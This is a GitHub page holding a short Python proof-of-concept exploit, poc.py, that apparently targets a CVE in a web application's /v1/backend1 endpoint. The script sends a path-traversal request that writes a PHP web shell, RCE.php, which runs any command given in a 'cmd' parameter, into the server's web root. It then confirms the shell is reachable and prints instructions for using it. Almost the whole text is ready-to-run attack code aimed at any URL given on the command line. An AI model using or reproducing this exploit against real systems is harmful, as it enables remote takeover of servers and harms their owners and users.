-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathpoc.py
57 lines (43 loc) · 1.87 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import json
import sys
import time
from requests.packages import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
banner = '''
___ __ ____ ___ ____ _ _ _ ___ ___ _____ ___
/ __\/\ /\/__\ |___ \ / _ \___ \/ | | || | / _ \ ( _ )___ / _ \
/ / \ \ / /_\_____ __) | | | |__) | |_____| || |_| | | |/ _ \ / / | | |
/ /___ \ V //_|_____/ __/| |_| / __/| |_____|__ _| |_| | (_) |/ /| |_| |
\____/ \_/\__/ |_____|\___/_____|_| |_| \___/ \___//_/ \___/
[by 0xAgun]
Use : python3 poc.py https://site.com/
'''
print(banner)
base_url = sys.argv[1]
user = '''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'''
filename = "RCE.php"
shell = '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>'''
if base_url.startswith('https://'):
k = base_url.replace("https://", "")
if k.endswith("/"):
p = k.replace("/", "")
headers = {
"Host": p,
"User-Agent": user,
"Connection": "close",
"Content-Length": "109",
"Content-Type": "application/x-www-form-urlencoded",
"Accept-Encoding": "gzip",
}
body = f'CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{filename}&data=poc by agun{shell}'
r = requests.post(base_url+'/v1/backend1', headers=headers, data=body, verify=False)
check_file = requests.get(base_url+'/v1/'+filename, verify=False)
if check_file.status_code == 200:
print(f'EXPLOITED {base_url}')
print('')
print(f'Go To {base_url}/v1/{filename}')
print('')
print('access shell using RCE.php?cmd=[command]')
else:
print("Sorry Dude Bad luck")